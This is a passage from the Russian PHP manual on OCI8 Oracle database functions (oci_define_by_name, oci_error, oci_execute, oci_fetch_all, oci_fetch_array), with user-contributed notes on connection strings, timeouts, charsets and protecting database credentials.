    $key = hash('md5', "$username|$password|$conn_info");
    $GLOBALS[$key] = $dbh;
    // Do stuff
}
?>

I originally logged this as a bug but apparently this is the expected behaviour, likely because oci_close($dbh) just calls unset($dbh).
drew dot carmichael at gmail dot com 03-Jul-2009 01:55
When using the OCI_CRED_EXT in php
if the ENV $ORACLE_SID is set the DB does not need to be specified explicitly and the connection will fail unless you provide a NULL DB value when creating the connection.

The $ORACLE_SID trumps the TNS name look up for the connection. So even a manual connection string in the DB parameter will fail.

So when the $ORACLE_SID Env is set a NULL passed instead of the DB name connects successfully.

Hope this saves some hair pulling when moving to %.3 and OS Authentications
Leandro da Cunha Campos 11-May-2009 11:04
ONE ALTERNATIVE OF CONNECT IN ORACLE RAC "Real Application Clusters"

<?php
$dbstr ="(DESCRIPTION =(ADDRESS = (PROTOCOL = TCP)(HOST =ip1)(PORT = 1521))
(CONNECT_DATA =
(SERVER = DEDICATED)
(SERVICE_NAME = banco)
(INSTANCE_NAME = banco1)))";

$dbstr1 ="(DESCRIPTION =(ADDRESS = (PROTOCOL = TCP)(HOST =ip2)(PORT = 1521))
(CONNECT_DATA =
(SERVER = DEDICATED)
(SERVICE_NAME = banco)
(INSTANCE_NAME = banco2)))";

if(!@($conn = oci_connect('user','password',$dbstr1)))
{ $conn = oci_connect('user','password',$dbstr) or die (ocierror()); }
?>
sixd at php dot net 30-Jun-2008 04:33
If you want to specify a connection timeout in case there is network problem, you can edit the client side (e.g. PHP side) sqlnet.ora file and set SQLNET.OUTBOUND_CONNECT_TIMEOUT. This sets the upper time limit for establishing a connection right through to the DB, including the time for attempts to connect to other services.   It is available from Oracle 10.2.0.3 onwards.

In Oracle 11.1, a slightly lighter-weight solution TCP.CONNECT_TIMEOUT was introduced.  It also is a sqlnet.ora parameter.  It bounds just the TCP connection establishment time, which is mostly where connection problem are seen.

The client sqlnet.ora file should be put in the same directory as the tnsnames.ora file.
sebastien.barbieri _at_ gmail dot com 13-Sep-2006 09:42
When you are using Oracle 9.2+ I would say that you MUST use the CHARSET parameter.

Of course, you will not notice it until there is accented character... so just specify it and you will avoid a big headache.

So for example here is our Oracle internal conf:
select * from nls_database_parameters;

PARAMETER                      VALUE
------------------------------ ----------------------------------------
...
NLS_LANGUAGE                   AMERICAN
NLS_TERRITORY                  AMERICA
NLS_ISO_CURRENCY               AMERICA
NLS_CHARACTERSET               WE8ISO8859P15
...

And there our oci_connect call:

$dbch=ocilogon($user,$pass,$connectString,"WE8ISO8859P15");

Without that, you will get question mark (inversed), squares... instead of most accented character.

Don't forget to use that for writing as well as for reading.
ben at onshop dot co dot uk 14-Jul-2005 05:25
There is a useful solution to the problem of securing connection information in the PHP Cookbook (O'Reilly) by David Sklar and Adam Trachtenberg. They propose using 'SetEnv' in the Apache configuration and then accessing the values from within a script using $_SERVER.

Unfortunately using the 'SetEnv' solution exposes your connection information to all users of that virtual host. If they run phpinfo.php or display $_SERVER, I found that they will see the password from any file under the root of that virtual host.

To restrict exposure to a particular directory or specific file:

1. First put an 'Include' to the secret file in httpd.conf. For example:

Include "/web/private/secret.txt"

2. In the password file, use the 'SetEnvIf' directive to enable the Environment variables by directory only or within a specific file. For example:

- For all files in the directory:

SetEnvIf Request_URI "/path/to/my/directory" ORACLE_PASS=5gHj790j

- For a specific file in the directory

SetEnvIf Request_URI "/path/to/my/directory/connection.oracle.php" ORACLE_PASS=5gHj790j
M0no at ethonfusino dot com 21-Nov-2002 10:04
If your oracle database is on a remote system within your local network and you don't want to worry about the tnsnames file you can try this.

$db = "(DESCRIPTION=(ADDRESS_LIST = (ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.XX.XXX)(PORT = 1521)))(CONNECT_DATA=(SID=XXXX)))";

$c1 = ocilogon("name","password",$db);

Hope this helps someone.


Сопоставляет переменную PHP столбцу результата запроса

  • « oci_connect
  • oci_error »
  • PHP Manual
  • OCI8 Функции
  • Сопоставляет переменную PHP столбцу результата запроса

oci_define_by_name

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_define_by_name — Сопоставляет переменную PHP столбцу результата запроса

Описание

oci_define_by_name(
resource $statement,
string $column,
mixed &$var,
int $type = 0
): bool

Сопоставляет переменную PHP столбцу результата запроса, полученного с помощью oci_fetch().

Вызов oci_define_by_name() должен производиться до запуска oci_execute().

Список параметров

statement

Корректный идентификатор выражения OCI8, полученный из oci_parse() и исполненный функцией oci_execute(), или идентификатор выражения REF CURSOR.

column

Имя столбца использованного в запросе.

Используйте верхний регистр для стандартных регистронезависимых имён столбцов Oracle. Используйте точное написание имени столбца для регистрозависимых имён.

var

Переменная PHP, предназначенная для хранения возвращённого значения.

type

Тип возвращаемых данных. Обычно не требуется. Имейте ввиду, что преобразования Oracle-данных не производятся. К примеру, SQLT_INT будет проигнорировано и возвращённые данные будут по-прежнему в виде SQLT_CHR.

Если вам нужно назначить переменную абстрактного типа данных (LOB/ROWID/BFILE), то её необходимо сначала создать с помощью oci_new_descriptor().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования oci_define_by_name()

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$sql = 'SELECT location_id, city FROM locations WHERE location_id < 1200';
$stid = oci_parse($conn, $sql);

// Переменные ДОЛЖНЫ быть определены перед запуском
oci_define_by_name($stid, 'LOCATION_ID', $locid);
oci_define_by_name($stid, 'CITY', $city);

oci_execute($stid);

// Каждый результат запроса помещает в заранее определённую переменную следующую строку данных
while (oci_fetch($stid)) {
echo "ID местоположения $locid - $city<br>\n";
}

// Выведет:
// ID местоположения 1000 - Roma
// ID местоположения 1100 - Venice

oci_free_statement($stid);
oci_close($conn);

?>

Пример #2 Пример использования oci_define_by_name() с регистрозависимыми именами столбцов

<?php

/*
До запуска, создаётся таблица со столбцом, имеющим регистрозависимое имя
CREATE TABLE mytab (id NUMBER, "MyDescription" VARCHAR2(30));
INSERT INTO mytab (id, "MyDescription") values (1, 'Iced Coffee');
COMMIT;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT * FROM mytab');

// Используется верхний регистр для регистронезависимых имён столбцов
oci_define_by_name($stid, 'ID', $id);

// Используется точное написание для регистрозависимых имён столбцов
oci_define_by_name($stid, 'MyDescription', $mydesc);

oci_execute($stid);

while (oci_fetch($stid)) {
echo "Идентификатор $id - $mydesc<br>\n";
}

// Выведет:
// Идентификатор 1 - Iced Coffee

oci_free_statement($stid);
oci_close($conn);

?>

Пример #3 Пример использования oci_define_by_name() со столбцами типа LOB

<?php

/*
Перед запуском создаются таблицы:
CREATE TABLE mytab (id NUMBER, fruit CLOB);
INSERT INTO mytab (id, fruit) values (1, 'apple');
INSERT INTO mytab (id, fruit) values (2, 'orange');
COMMIT;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT * FROM mytab');

// Переменные ДОЛЖНЫ быть определены перед запуском
oci_define_by_name($stid, 'ID', $id);
oci_define_by_name($stid, 'FRUIT', $fruit); // $fruit станет дескриптором LOB

oci_execute($stid);

while (oci_fetch($stid)) {
echo $id . " - " . $fruit->load(100) . "<br>\n";
}

// Выведет:
// 1 - apple
// 2 - orange

$fruit->free();
oci_free_statement($stid);
oci_close($conn);

?>

Пример #4 Пример использования oci_define_by_name() с приведёнными типами

<?php

/*
Перед запуском создаётся таблица:
CREATE TABLE mytab (id NUMBER, fruit CLOB);
INSERT INTO mytab (id, fruit) values (1, 'apple');
INSERT INTO mytab (id, fruit) values (2, 'orange');
COMMIT;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT * FROM mytab');

// Переменные ДОЛЖНЫ быть определены перед запуском
oci_define_by_name($stid, 'ID', $id);

$fruit = oci_new_descriptor($conn, OCI_D_LOB);
oci_define_by_name($stid, 'FRUIT', $fruit, OCI_D_CLOB);

oci_execute($stid);

while (oci_fetch($stid)) {
echo $id . " - " . $fruit->load(100) . "<br>\n";
}

// Выведет:
// 1 - apple
// 2 - orange

$fruit->free();
oci_free_statement($stid);
oci_close($conn);

?>

Смотрите также

  • oci_fetch() - Выбирает следующую строку из результата в буфер
  • oci_new_descriptor() - Инициализирует новый дескриптор объекта LOB или FILE

User Contributed Notes

There are no user contributed notes for this page.


Возвращает последнюю ошибку

  • « oci_define_by_name
  • oci_execute »
  • PHP Manual
  • OCI8 Функции
  • Возвращает последнюю ошибку

oci_error

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_error — Возвращает последнюю ошибку

Описание

oci_error(?resource $connection_or_statement = null): array|false

Возвращает последнюю найденную ошибку.

Функция должна вызваться сразу же после появления ошибки. Ошибки очищаются при произведении правильного запроса.

Список параметров

connection_or_statement

Для большинства ошибок параметром connection_or_statement является соответствующий идентификатор соединения или выражения. Для ошибок во время выполнения функций oci_connect(), oci_new_connect() или oci_pconnect() следует передавать null.

Возвращаемые значения

Если ошибок не найдено, то oci_error() возвращает false. В противном случае, oci_error() возвращает информацию об ошибке в виде ассоциативного массива.

Описание массива вывода oci_error()
Ключ массива | Тип | Описание
code | int | Номер ошибки Oracle.
message | string | Текст ошибки Oracle.
offset | int | Позиция ошибки в запросе SQL. Если нет запроса, то равна 0
sqltext | string | Текст запроса SQL. Если нет запроса, то строка пуста.

Список изменений

Версия | Описание
8.0.0, PECL OCI8 3.0.0 | connection_or_statement теперь допускает значение null.

Примеры

Пример #1 Вывод сообщения об ошибке Oracle после ошибки соединения

<?php
$conn = oci_connect("hr", "welcome", "localhost/XE");
if (!$conn) {
$e = oci_error(); // Для обработки ошибок oci_connect
trigger_error(htmlentities($e['message']), E_USER_ERROR);
}
?>

Пример #2 Вывод сообщения об ошибке Oracle после ошибки разбора

<?php
$stid = oci_parse($conn, "select ' from dual"); // пропущенные кавычки
if (!$stid) {
$e = oci_error($conn); // Для обработки ошибок oci_parse
trigger_error(htmlentities($e['message']), E_USER_ERROR);
}
?>

Пример #3 Вывод сообщения об ошибке Oracle, ошибочного запроса и позиции ошибки запуска запроса

<?php
$stid = oci_parse($conn, "select does_not_exist from dual");
$r = oci_execute($stid);
if (!$r) {
$e = oci_error($stid); // Для обработки ошибок oci_execute
print htmlentities($e['message']);
print "\n<pre>\n";
print htmlentities($e['sqltext']);
printf("\n%".($e['offset']+1)."s", "^");
print "\n</pre>\n";
}
?>

User Contributed Notes

alvaro at demogracia dot com 08-Aug-2014 10:41
Please note that, unlike equivalent functions in other DB extensions, skipping the resource argument is not synonym for "just get last error".


Выполняет подготовленное выражение

  • « oci_error
  • oci_fetch_all »
  • PHP Manual
  • OCI8 Функции
  • Выполняет подготовленное выражение

oci_execute

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_execute — Выполняет подготовленное выражение

Описание

oci_execute(resource $statement, int $mode = OCI_COMMIT_ON_SUCCESS): bool

Выполняет подготовленное выражение statement, созданное с помощью функции oci_parse().

Сразу после выполнения выражения подобного INSERT, по умолчанию все данные сразу будут сохранены в базе данных. Для выражений подобных SELECT, выполняется только логика запроса. Результат же запроса можно получить позже в PHP с помощью функций подобных oci_fetch_array().

Каждое подготовленное выражение может быть выполнено несколько раз для экономии на издержках от повторной подготовки запроса. Это чаще всего применяется для выражений INSERT, когда к ним привязаны данные с помощью oci_bind_by_name().

Список параметров

statement

Правильное подготовленное выражение OCI.

mode

Необязательный второй параметр с одним из следующих значений:

Режим выполнения
Константа | Описание
OCI_COMMIT_ON_SUCCESS | Автоматически сохранять все несохраненные изменения, произведённые за текущую сессию в случае успешного выполнения выражения. Этот режим установлен по умолчанию.
OCI_DESCRIBE_ONLY | Делает доступными метаданные запроса для функций подобных oci_field_name(), но не создаёт результат выполнения выражения. Любое последующее получение данных, например с помощью oci_fetch_array() не будет произведено.
OCI_NO_AUTO_COMMIT | Не сохранять автоматически изменения.

Использование режима OCI_NO_AUTO_COMMIT открывает или продолжает транзакцию. Эта транзакция автоматически откатывается при закрытии соединения или завершении скрипта. Используйте oci_commit() для завершения транзакции и oci_rollback() для её отмены.

При вставке и обновлении данных рекомендуется использование транзакций для реляционной целостности данных и для улучшения производительности.

Если для какого-нибудь выражения используется режим OCI_NO_AUTO_COMMIT, и впоследствии не используются oci_commit() или oci_rollback(), то OCI8 будет выполнять откат при завершении скрипта даже если данные не были изменены. Для избежания ненужных откатов большинство скриптов не используют режим OCI_NO_AUTO_COMMIT для запросов или PL/SQL. Будьте внимательны, чтобы обеспечить надлежащую согласованность транзакций при использовании oci_execute() с различными режимами в одном скрипте.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 oci_execute() при выполнении запросов

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, 'SELECT * FROM employees');
oci_execute($stid);

echo "<table border='1'>\n";
while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) {
echo "<tr>\n";
foreach ($row as $item) {
echo " <td>" . ($item !== null ? htmlentities($item, ENT_QUOTES) : "") . "</td>\n";
}
echo "</tr>\n";
}
echo "</table>\n";

?>

Пример #2 oci_execute() без указания определённого режима

<?php

// Перед выполнением создайте таблицу:
// CREATE TABLE MYTABLE (col1 NUMBER);

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, 'INSERT INTO mytab (col1) VALUES (123)');

oci_execute($stid); // Строка сохранена и становится видимой для других пользователей

?>

Пример #3 oci_execute() с OCI_NO_AUTO_COMMIT

<?php

// Перед выполнением создайте таблицу:
// CREATE TABLE MYTABLE (col1 NUMBER);

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, 'INSERT INTO mytab (col1) VALUES (:bv)');
oci_bind_by_name($stid, ':bv', $i, 10);
for ($i = 1; $i <= 5; ++$i) {
oci_execute($stid, OCI_NO_AUTO_COMMIT);
}
oci_commit($conn); // сохранение все новых значений: 1, 2, 3, 4, 5

?>

Пример #4 oci_execute() с различными режимами

<?php

// Перед выполнением создайте таблицу:
// CREATE TABLE MYTABLE (col1 NUMBER);

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, 'INSERT INTO mytab (col1) VALUES (123)');
oci_execute($stid, OCI_NO_AUTO_COMMIT); // data not committed

$stid = oci_parse($conn, 'INSERT INTO mytab (col1) VALUES (456)');
oci_execute($stid); // commits both 123 and 456 values

?>

Пример #5 oci_execute() с OCI_DESCRIBE_ONLY

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, 'SELECT * FROM locations');
oci_execute($s, OCI_DESCRIBE_ONLY);
for ($i = 1; $i <= oci_num_fields($stid); ++$i) {
echo oci_field_name($stid, $i) . "<br>\n";
}

?>

Примечания

Замечание:

Транзакции автоматически откатываются при закрытии соединения или завершении выполнения скрипта. Принудительно вызывайте oci_commit() для завершения транзакции.

Любой вызов oci_execute(), который принудительно использует OCI_COMMIT_ON_SUCCESS или по умолчанию будет завершать любую предыдущую незакрытую транзакцию.

Любое выражение Oracle DDL подобное CREATE или DROP будет автоматически завершать любую. незакрытую транзакцию.

Замечание:

Так как функция oci_execute() обычно отправляет выражения в базу данных, то oci_execute() может найти некоторые незначительные синтаксические ошибки, когда локальная oci_parse() их не находит.

Смотрите также

  • oci_parse() - Подготавливает запрос к выполнению

User Contributed Notes

michaelhughes at strath dot ac dot uk 11-Nov-2015 11:38
You can pass a "false" value to oci_execute() and this returns a null value, instead of the documented false value.
<?php
$conn = oci_connect('username', 'password, '//hostname:1521/DB');

$result = oci_execute(false);
var_dump($result);
?>

Results in "null", so performing an Identical test:
<?php
if ($results === false) {
   //throw exception
}
?>

won't trap a problem, where as the Equal test (==) would:
<?php
if ($results == false) {
   //throw exception
}
?>

So testing the result of a statement like oci_parse() is important!
filipesampaio at hotmail dot com 05-Apr-2011 05:21
Just to write it down. I was trying to do a simple SELECT on a Cache (http://www.intersystems.com/cache/) table through an Oracle dblink, but always received the error "ORA-01002: fetch out of sequence". The solution was using OCI_NO_AUTO_COMMIT on the oci_execute function.
tower98 at gmail dot com 25-Aug-2010 01:35
Notice (PHP 5.2.12-pl0-gentoo):
You can parse empty query, you can execute empty query (returns true), but you cannot fetch data from empty query. So, if you provide query as variable, make sure it isn't empty.

<?php
$q = oci_parse($c, "");
if($q != false){
    // parsing empty query != false
    if(oci_execute($q){
        // executing empty query != false
        if(oci_fetch_all($q, $data, 0, -1, OCI_FETCHSTATEMENT_BY_ROW) == false){
            // but fetching executed empty query results in error (ORA-24338: statement handle not executed)
            $e = oci_error($q);
            echo $e['message'];
        }
    }
    else{
        $e = oci_error($q);
        echo $e['message'];
    }
}
else{
    $e = oci_error($link);
    echo $e['message'];
}
?>


Выбирает все строки из результата запроса в двумерный массив

  • « oci_execute
  • oci_fetch_array »
  • PHP Manual
  • OCI8 Функции
  • Выбирает все строки из результата запроса в двумерный массив

oci_fetch_all

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_fetch_all — Выбирает все строки из результата запроса в двумерный массив

Описание

oci_fetch_all(
resource $statement,
array &$output,
int $offset = 0,
int $limit = -1,
int $flags = OCI_FETCHSTATEMENT_BY_COLUMN | OCI_ASSOC
): int

Выбирает все строки из результата запроса в двумерный массив. По умолчанию возвращает все строки.

Эта функция может быть вызваться только один раз для каждого запроса запущенного с помощью oci_execute().

Список параметров

statement

Корректный идентификатор выражения OCI8, полученный из oci_parse() и исполненный функцией oci_execute(), или идентификатор выражения REF CURSOR.

output

Переменная, содержащая возвращённые строки.

LOB столбцы возвращаются в виде строк, для которых поддерживается Oracle преобразования.

Смотрите oci_fetch_array() для более детальной информации о том, как производится выборка данных и типов.

offset

Число строк, которых необходимо исключить из выборки. По умолчанию равно 0, выборка возвращается со следующего за первым ряда.

limit

Число возвращаемых строк. По умолчанию равно -1, что означает возврат всех строк, начиная с указанных в offset + 1 предыдущая строка.

flags

Параметр flags содержит структуру массива отражает необходимость использования ассоциативных массивов.

Структура массива oci_fetch_all()
Константа | Описание
OCI_FETCHSTATEMENT_BY_ROW | Массив будет содержать по одному под-массиву на каждую строку запроса.
OCI_FETCHSTATEMENT_BY_COLUMN | Массив будет содержать по одному под-массиву на каждый столбец. Используется по умолчанию.

Массивы могут быть проиндексированы или заголовками столбцов или пронумерованы. Будет возвращён только один режим индексации.

Индексация массива oci_fetch_all()
Константа | Описание
OCI_NUM | Для массива каждого столбца используются числовые индексы.
OCI_ASSOC | Для массива каждого столбца используется ассоциативные индексы. По умолчанию.

Используйте оператор сложения "+" для выбора определённой комбинации структуры и индексации массива.

Регистронезависимые (по умолчанию в Oracle) имена полей в результирующем массиве будут иметь ассоциативные индексы в верхнем регистре. Регистрозависимые имена полей будут иметь индексы с теми же регистрами символов, что и само поле. Используйте var_dump() на output, чтобы проверить соответствие регистров символов для каждого запроса.

В запросах в которых имеется несколько столбцов с одинаковыми именами необходимо использовать псевдонимы. Иначе только один из столбцов появится в ассоциативном массиве.

Возвращаемые значения

Возвращает число столбцов в output, который может принимать значение 0 или более.

Примеры

Пример #1 Пример использования oci_fetch_all()

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT POSTAL_CODE, CITY FROM locations WHERE ROWNUM < 3');
oci_execute($stid);

$nrows = oci_fetch_all($stid, $res);

echo "$nrows строк получено<br>\n";
var_dump($res);

// Вывод var_dump:
// 2 строк получено
// array(2) {
// ["POSTAL_CODE"]=>
// array(2) {
// [0]=>
// string(6) "00989x"
// [1]=>
// string(6) "10934x"
// }
// ["CITY"]=>
// array(2) {
// [0]=>
// string(4) "Roma"
// [1]=>
// string(6) "Venice"
// }
// }

// Форматирование результатов
echo "<table border='1'>\n";
foreach ($res as $col) {
echo "<tr>\n";
foreach ($col as $item) {
echo " <td>".($item !== null ? htmlentities($item, ENT_QUOTES) : "")."</td>\n";
}
echo "</tr>\n";
}
echo "</table>\n";

oci_free_statement($stid);
oci_close($conn);

?>

Пример #2 Пример использования oci_fetch_all() с OCI_FETCHSTATEMENT_BY_ROW

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT POSTAL_CODE, CITY FROM locations WHERE ROWNUM < 3');
oci_execute($stid);

$nrows = oci_fetch_all($stid, $res, null, null, OCI_FETCHSTATEMENT_BY_ROW);

echo "$nrows строк получено<br>\n";
var_dump($res);

// Выведет:
// 2 строк получено
// array(2) {
// [0]=>
// array(2) {
// ["POSTAL_CODE"]=>
// string(6) "00989x"
// ["CITY"]=>
// string(4) "Roma"
// }
// [1]=>
// array(2) {
// ["POSTAL_CODE"]=>
// string(6) "10934x"
// ["CITY"]=>
// string(6) "Venice"
// }
// }

oci_free_statement($stid);
oci_close($conn);

?>

Пример #3 Пример использования oci_fetch_all() с OCI_NUM

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT POSTAL_CODE, CITY FROM locations WHERE ROWNUM < 3');
oci_execute($stid);

$nrows = oci_fetch_all($stid, $res, null, null, OCI_FETCHSTATEMENT_BY_ROW + OCI_NUM);

echo "$nrows строк получено<br>\n";
var_dump($res);

// Выведет:
// 2 строк получено
// array(2) {
// [0]=>
// array(2) {
// [0]=>
// string(6) "00989x"
// [1]=>
// string(4) "Roma"
// }
// [1]=>
// array(2) {
// [0]=>
// string(6) "10934x"
// [1]=>
// string(6) "Venice"
// }
// }

oci_free_statement($stid);
oci_close($conn);

?>

Примечания

Замечание:

Использование offset неэффективно. Все пропускаемые ряды включаются в результат запроса возвращаемый базой данных к PHP. После этого они исключаются. Более эффективно использовать SQL для отступа и ограничения рядов в запросе. Смотрите oci_fetch_array() для примеров.

Замечание:

Запросы, возвращающие большое число рядов, могут быть более эффективными если используется однорядная функция выборки, такая как oci_fetch_array().

Замечание:

Для запросов, возвращающих большое количество рядов, производительность может быть значительно увеличена с помощью увеличения значения опции oci8.default_prefetch или использования oci_set_prefetch().

Замечание:

Не возвращает ряды для неявных результирующих наборов в Oracle Database 12c. Используйте вместо данной функции функцию oci_fetch_array().

Смотрите также

  • oci_fetch() - Выбирает следующую строку из результата в буфер
  • oci_fetch_array() - Возвращает следующую строку из результата запроса в виде ассоциативного или нумерованного массива
  • oci_fetch_assoc() - Возвращает следующую строку из результата запроса в виде ассоциативного массива
  • oci_fetch_object() - Возвращает следующую строку из результата запроса в виде объекта
  • oci_fetch_row() - Возвращает следующую строку из результата запроса в виде нумерованного массива
  • oci_set_prefetch() - Устанавливает количество строк, которые будут автоматически выбраны в буфер

User Contributed Notes

eustaquiorangel at gmail dot com 19-Mar-2014 09:24
Beware that only numerically indexed results will be returned if
OCI_NUM is used.
david at boeke dot com 16-Dec-2003 10:17
The Skip and MaxRows parameters were not added until version 4.2.1.
Previous versions of php used this syntax:

           int ocifetchstatement ( resource stmt, array &output)

The function also took a third parameter that was not documented.  ( I assume that it was a flag)


Возвращает следующую строку из результата запроса в виде ассоциативного или нумерованного массива

  • « oci_fetch_all
  • oci_fetch_assoc »
  • PHP Manual
  • OCI8 Функции
  • Возвращает следующую строку из результата запроса в виде ассоциативного или нумерованного массива

oci_fetch_array

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_fetch_array — Возвращает следующую строку из результата запроса в виде ассоциативного или нумерованного массива

Описание

oci_fetch_array(resource $statement, int $mode = OCI_BOTH | OCI_RETURN_NULLS): array|false

Возвращает массив, содержащий следующую строку результата запроса. Каждый элемент массива соответствует одному полю из строки. Эта функция обычно вызывается в цикле, пока она не вернёт false, который указывает на отсутствие последующих строк.

Если statement соответствует PL/SQL блоку, возвращаемому Oracle Database Implicit Result Sets, тогда будут последовательно извлечены ряды из всех наборов. Если statement возвращается из oci_get_implicit_resultset(), тогда вернётся только часть рядов для одного дочернего запроса.

За подробностями по операции отображения типов данных, осуществляемой модулем OCI8, обратитесь к типам данных, поддерживаемых драйвером

Список параметров

statement

Корректный идентификатор выражения OCI8, полученный из oci_parse() и исполненный функцией oci_execute(), или идентификатор выражения REF CURSOR.

Также может быть идентификатором, возвращаемым функцией oci_get_implicit_resultset().

mode

Необязательный второй параметр может состоять из любой комбинации следующих констант:

oci_fetch_array() Modes
Константа | Описание
OCI_BOTH | Возвращает массив как с ассоциативными и числовыми индексами. Эта константа то же самое что и OCI_ASSOC + OCI_NUM, и она используется по умолчанию.
OCI_ASSOC | Возвращает ассоциативный массив.
OCI_NUM | Возвращает нумерованный массив.
OCI_RETURN_NULLS | Создаёт элементы для полей равных null. Значение элемента будет равно PHP null.
OCI_RETURN_LOBS | Возвращает содержимое полей типа LOB, вместо LOB указателя.

По умолчанию mode равен OCI_BOTH.

Используйте оператор сложения "+" для указания более одного режима.

Возвращаемые значения

Возвращает массив с ассоциативными и/или числовыми ключами. Если больше нет строк в statement, то возвращается false.

По умолчанию, поля LOB возвращаются как указатели LOB.

Поля типа DATE возвращаются в формате строк, соответствующем текущему формату даты. Формат по умолчанию может быть изменён с помощью переменных окружения Oracle, таких как NLS_LANG, или предварительным выполнением команды ALTER SESSION SET NLS_DATE_FORMAT.

Регистронезависимые (по умолчанию в Oracle) имена полей будут иметь ассоциативные индексы в верхнем регистре в результирующем массиве. Регистрозависимые имена полей будут иметь индексы с теми же регистрами символов, что и само поле. Используйте var_dump() для результирующего массива, чтобы проверить соответствие регистров символов для каждого запроса.

Имя таблицы не входит в ассоциативны индекс. Если ваш запрос содержит два разных поля с одинаковым именем, используйте OCI_NUM или добавьте алиас для поля в запрос, так чтобы имена стали уникальными (смотрите пример #7). Иначе будет возвращено только одно поле.

Примеры

Пример #1 oci_fetch_array() с OCI_BOTH

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT department_id, department_name FROM departments');
oci_execute($stid);

while (($row = oci_fetch_array($stid, OCI_BOTH))) {
// Используйте название полей в верхнем регистре для ассоциативных индексов
echo $row[0] . " и " . $row['DEPARTMENT_ID'] . " идентичны<br>\n";
echo $row[1] . " и " . $row['DEPARTMENT_NAME'] . " идентичны<br>\n";
}

oci_free_statement($stid);
oci_close($conn);

?>

Пример #2 oci_fetch_array() с OCI_NUM

<?php

/*
Перед выполнением создайте таблицу:
CREATE TABLE mytab (id NUMBER, description CLOB);
INSERT INTO mytab (id, description) values (1, 'A very long string');
COMMIT;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT id, description FROM mytab');
oci_execute($stid);

while (($row = oci_fetch_array($stid, OCI_NUM)) != false) {
echo $row[0] . "<br>\n";
echo $row[1]->read(11) . "<br>\n"; // это выведет первые 11 байт DESCRIPTION
}

// Выведет:
// 1
// A very long

oci_free_statement($stid);
oci_close($conn);

?>

Пример #3 oci_fetch_array() с OCI_ASSOC

<?php

/*
Перед выполнением создайте таблицу:
CREATE TABLE mytab (id NUMBER, description CLOB);
INSERT INTO mytab (id, description) values (1, 'A very long string');
COMMIT;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT id, description FROM mytab');
oci_execute($stid);

while (($row = oci_fetch_array($stid, OCI_ASSOC)) != false) {
echo $row['ID'] . "<br>\n";
echo $row['DESCRIPTION']->read(11) . "<br>\n"; // это выведет первые 11 байт DESCRIPTION
}

// Выведет:
// 1
// A very long

oci_free_statement($stid);
oci_close($conn);

?>

Пример #4 oci_fetch_array() с OCI_RETURN_NULLS

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT 1, null FROM dual');
oci_execute($stid);
while (($row = oci_fetch_array ($stid, OCI_ASSOC)) != false) { // Игнорирует NULL значения
var_dump($row);
}

/*
Вышеуказанный код выведет:
array(1) {
[1]=>
string(1) "1"
}
*/

$stid = oci_parse($conn, 'SELECT 1, null FROM dual');
oci_execute($stid);
while (($row = oci_fetch_array ($stid, OCI_ASSOC+OCI_RETURN_NULLS)) != false) { // Получает NULL значения
var_dump($row);
}

/*
Вышеуказанный код выведет:
array(2) {
[1]=>
string(1) "1"
["NULL"]=>
NULL
}
*/

?>

Пример #5 oci_fetch_array() с OCI_RETURN_LOBS

<?php

/*
Перед выполнением создайте таблицу:
CREATE TABLE mytab (id NUMBER, description CLOB);
INSERT INTO mytab (id, description) values (1, 'A very long string');
COMMIT;
*/

